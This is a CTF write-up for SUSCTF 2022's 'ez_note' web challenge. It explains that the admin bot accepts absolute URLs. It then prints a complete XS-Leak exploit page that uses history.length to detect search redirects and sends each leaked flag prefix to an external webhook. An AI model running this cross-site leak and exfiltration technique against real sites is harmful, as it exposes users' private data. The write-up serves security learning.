aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

SUSCTF 2022 - web/ez_note #51

Open aszx87410 opened 2 years ago

aszx87410 commented 2 years ago

2

You can create and search your note, if there is a match you will be redirected to the note page by client redirection:setTimeout(() => location = '{note_page}', 1000)

Regarding the bot part, although it looks like you can only send it the link with prefix http://123.60.29.171:10001, but it's not the truth.

I think that's why they are giving the bot source code:

const visit = async (browser, path) =>{
    let site = process.env.NOTE_SITE ?? ""
    let url = new URL(path, site)
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto( site+"/signin")
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        await loginpage.goto("about:blank")
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(5000) /// waiting 5 second.

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

The important part is here: let url = new URL(path, site), according to the docs:

input: The absolute or relative input URL to parse. If input is relative, then base is required. If input is absolute, the base is ignored

So, by sending the absolute URL, you can let bot visit any links, no need to find an XSS on the note site(and I don't think there is).

If we can detect the redirection, we can leak the flag char by char. I used the history.length trick mentioned in XS-Leaks.

You just open a window and then redirect back to your origin, then you can access history.length to see if redirection occurs.

Here is the my payload:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="robots" content="noindex">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>

<body>
    <script>
      var flag = 'SUSCTF{'
      function send(msg) {
        fetch('https://webhook.site/bad84752-95a1-45c4-8395-e5577ea1112b?msg=' + encodeURIComponent(msg))
      }
      function trying(keyword) {
        return new Promise(resolve => {
          var win = window.open('http://123.60.29.171:10001/search?q=' + keyword)
          setTimeout(() => {
            win.location = 'http://e050-220-133-126-220.ngrok.io/non.html'
            setTimeout(() => {
              if (win.history.length === 3) {
                send('success:' + keyword)
              } else {
                //send('fail:' + keyword)
              }
              win.close();
            }, 1000)
          }, 1500)
        })
      }

      async function run() {
        send('start')
        // }abcdefghijklmnopqrstuvwxyz0123456789_
        // }abcdefghijklmnopqrs
        // 
        let chars = '_abcdefghijklmnopqrstuv'.split('')
        //let chars = '}wxyz0123456789_'.split('')
        for(let char of chars) {
          const temp = flag + char
          trying(temp)
        }
      }

      setTimeout(() => {
        run()
      }, 1000)

    </script>
</body>
</html>

5 seconds is not enough for all possibilities(38 chars), so I need to manually send it to bot twice to just leak one character.

I believe their is a faster way to do this, but I am too lazy to explore, so I just send it manually for few times.

The most time-consuming part is the reCAPTCHA, it took me about 80% of the time for leaking the whole flag(10% writing exploit, 10% submitting the form).

Fortunately, the flag is short.